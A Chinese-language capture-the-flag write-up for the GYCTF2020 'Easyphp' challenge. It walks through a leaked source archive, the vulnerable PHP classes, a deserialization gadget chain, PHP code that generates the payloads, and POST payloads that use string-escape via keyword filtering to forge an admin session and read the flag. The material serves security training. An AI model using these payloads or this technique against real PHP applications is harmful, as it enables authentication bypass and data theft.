# [GYCTF2020]Easyphp

# 前言

# 知识点:

# www.zip 源码泄露
# PHP 反序列化链 POC
# 代码审计

# WP:

进入环境,题目是 easyphp 我就感觉要审源码。。。试了一下常见的泄露,发现存在 www.zip。把代码下载下来进行一下审计,发现 update.php 和 lib.php 可以利用:

<?php
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
            echo "ok";
            $mysqli=new dbCtrl();
            $this->id=$mysqli->login('select id,password from user where username=?');
            if($this->id){
            $_SESSION['id']=$this->id;
            $_SESSION['login']=1;
            echo "你的ID是".$_SESSION['id'];
            echo "你好!".$_SESSION['token'];
            echo "<script>window.location.href='./update.php'</script>";
            return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        //print_r($Info);
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        //var_dump($this->sql);
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}
update.php
<?php
require_once('lib.php');
echo '<html>

<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}

?>

update.php 那里只是输出你没登录,接下来的代码还会执行。update () 方法中会进行反序列化。

update.php 那里只是输出你没登录,接下来的代码还会执行。update () 方法中会进行反序列化。

简单的理一下 POC 的思路。本以为是利用 User 类的__construct 方法来读 flag.php,但是发现 safe () 过滤了 flag 和 \,因此会被过滤,无法读取。
但是 UpdateHelper 类中也有一个__destruct () 方法,会 echo。

正好 User 类存在__toString () 方法:

再利用 $this->nickname->update () 去触发 Info 类的__call ():

这样就可以调用一个 login 方法。但是怎么得 flag?
lib.php 中有 2 个 login 方法,User 类得 login 方法可以让 $_SESSION [‘login’]=1,但是必须返回了 id:

跟进一下第 16 行得 login 方法,看一下逻辑:

想要正常返回idResult,要么idResult,要么 this->token==‘admin’,要么就是查对了用户名和密码才可以。

这时候便很自然得可以想到思路了,因为反序列化得时候除了 User 类中 login 的这里不可控,其他基本都是可控的。:

也就是说,要分 2 次。第一次反序列化最终调用的是 dbCtrl 类的 login,因为这里的 sql 语句和 dbCtrl 都可控,因此可以成功的SESSION[token]=_SESSION['token']=this->name;。控一下 name,让它是 admin。

(更正,其实并不需要第二次反序列化,直接第一次反序列化设了 session 后,直接随便登录一下,用户名是 admin 即可,就可以触发 user 类的 login 方法了,不需要这里再反序列化构造来触发 User 类的 login 方法,我实际上也是思路太局限了。)

第二次反序列化最终调用 User 类的 login 方法。因为这里:

所以这时候 $this->token=‘admin’,即这里满足,可以成功查到 id:

这样可以 $_SESSION [‘login’]=1;

得到 flag:

接下来就要想办法构造 POC 了,先是第一次反序列化:

<?php
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct()
    {
        $this->age = "1";
        $this->nickname = "2";
        $this->CtrlCase=new dbCtrl();
        //$this->CtrlCase=new User();
    }
}
class User
{
    public $id="1";
    public $age;
    public $nickname;
    public function __construct()
    {
        $this->age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname=new Info();
        //$this->nickname->CtrlCase=new User();
    }
}
Class UpdateHelper{
    public $sql;
}

class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name="admin";
    public $password="1";
    public $mysqli;
    public $token;
    public $feng;
    public function __construct()
    {
        $this->feng=new UpdateHelper();
        //$this->token="admin";
    }
}
$a=new Info();
//$a->CtrlCase=new dbCtrl();
$a->CtrlCase->feng->sql=new User();
//$a->CtrlCase->feng->sql->nickname->CtrlCase=new User();
//var_dump($a->CtrlCase->feng->sql->nickname);
//var_dump($a);
echo serialize($a);

需要注意之所以 new UpdateHelper () 没有写在 Info 类中,而是写在 $this->CtrlCase 中,是因为这里:

public function update(){
    $Info=unserialize($this->getNewinfo());
    //print_r($Info);
    $age=$Info->age;
    $nickname=$Info->nickname;
    $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
    //这个功能还没有写完 先占坑
}
如果$this->age或者$this->nickname设成UpdateHelper的话,会因为把类对象当成字符产而报错。
产生的payload是这样:
O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}

通过反序列化字符逃逸,得到这样:

O:4:"Info":3:{s:3:"age";s:901:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}";s:8:"nickname";N;s:8:"CtrlCase";N;}

post 传参:

age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}
第二次反序列化就同理了:
<?php
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct()
    {
        $this->age = "1";
        $this->nickname = "2";
        //$this->CtrlCase=new dbCtrl();
        //$this->CtrlCase=new User();
    }
}
class User
{
    public $id="1";
    public $age;
    public $nickname;
    public function __construct()
    {
        $this->age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname=new Info();
        //$this->nickname->CtrlCase=new User();
    }
}
Class UpdateHelper{
    public $sql;
}

class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name="admin";
    public $password="1";
    public $mysqli;
    public $token;
    public $feng;
    public function __construct()
    {
        $this->feng=new UpdateHelper();
        //$this->token="admin";
    }
}
$a=new Info();
$a->CtrlCase=new dbCtrl();
$a->CtrlCase->feng->sql=new User();
$a->CtrlCase->feng->sql->nickname->CtrlCase=new User();
//var_dump($a->CtrlCase->feng->sql->nickname);
//var_dump($a);
echo serialize($a);


age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionunionunionunionunionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";N;}}}}}}}&username=admin&password=1

最终成功得到 flag:

最终成功得到 flag:

参考链接:[GYCTF2020] Easyphp-CSDN 博客

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal